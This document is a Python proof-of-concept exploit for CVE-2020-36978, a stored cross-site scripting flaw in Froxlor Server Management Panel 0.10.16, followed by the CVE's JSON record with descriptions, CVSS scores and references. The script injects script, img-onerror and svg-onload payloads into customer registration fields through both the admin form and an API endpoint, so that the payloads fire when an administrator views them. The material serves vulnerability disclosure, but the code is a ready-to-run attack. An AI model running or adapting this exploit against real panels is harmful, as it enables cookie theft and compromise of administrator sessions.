CVE-2020-36978

# CVE-2020-36978 Stored XSS PoC # Target: Froxlor Server Management Panel 0.10.16 # Attack Vector: Customer Registration Input Fields import requests import json target_url = "http://target-server/froxlor/" # Malicious XSS payload for username, name, and firstname fields xss_payload = "<script>alert(document.cookie)</script>" # Customer registration endpoint registration_url = target_url + "admin.php?tab=customers&action=add" # Registration data with XSS payloads registration_data = { "loginname": "attacker_account", "password": "Password123!", "password_repeat": "Password123!", "email": "[email protected]", "firstname": xss_payload, "name": xss_payload, "company": xss_payload, "submit": "create" } print("[*] Sending malicious registration request...") response = requests.post(registration_url, data=registration_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when admin views customer traffic module") print("[*] Payload: " + xss_payload) else: print("[-] Registration failed. Status code:", response.status_code) # Alternative: Direct API registration if available api_url = target_url + "api/v1/customers" api_headers = { "Content-Type": "application/json", "X-Api-Key": "your-api-key" } api_data = { "loginname": "attacker2", "email": "[email protected]", "firstname": "<img src=x onerror=alert(document.domain)>", "name": "<svg onload=alert(1)>", "password": "TestPass123!" } print("[*] Trying alternative API registration...") api_response = requests.post(api_url, headers=api_headers, json=api_data) print("[*] API Response:", api_response.text)

{"cve": {"id": "CVE-2020-36978", "sourceIdentifier": "[email protected]", "published": "2026-01-27T19:16:10.597", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Froxlor Server Management Panel 0.10.16 contains a persistent cross-site scripting vulnerability in customer registration input fields. Attackers can inject malicious scripts through username, name, and firstname parameters to execute code when administrators view customer traffic modules."}, {"lang": "es", "value": "Froxlor Server Management Panel 0.10.16 contiene una vulnerabilidad persistente de cross-site scripting en los campos de entrada de registro de clientes. Atacantes pueden inyectar scripts maliciosos a través de los parámetros de nombre de usuario, nombre y primer nombre para ejecutar código cuando los administradores visualizan los módulos de tráfico de clientes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://froxlor.org/", "source": "[email protected]"}, {"url": "https://froxlor.org/download/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49063", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/froxlor-froxlor-server-management-panel-persistent-cross-site-scripting", "source": "[email protected]"}, {"url": "https://www.vulnerability-lab.com/get_content.php?id=2241", "source": "[email protected]"}, {"url": "https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.", "source": "[email protected]"}, {"url": "https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49063", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}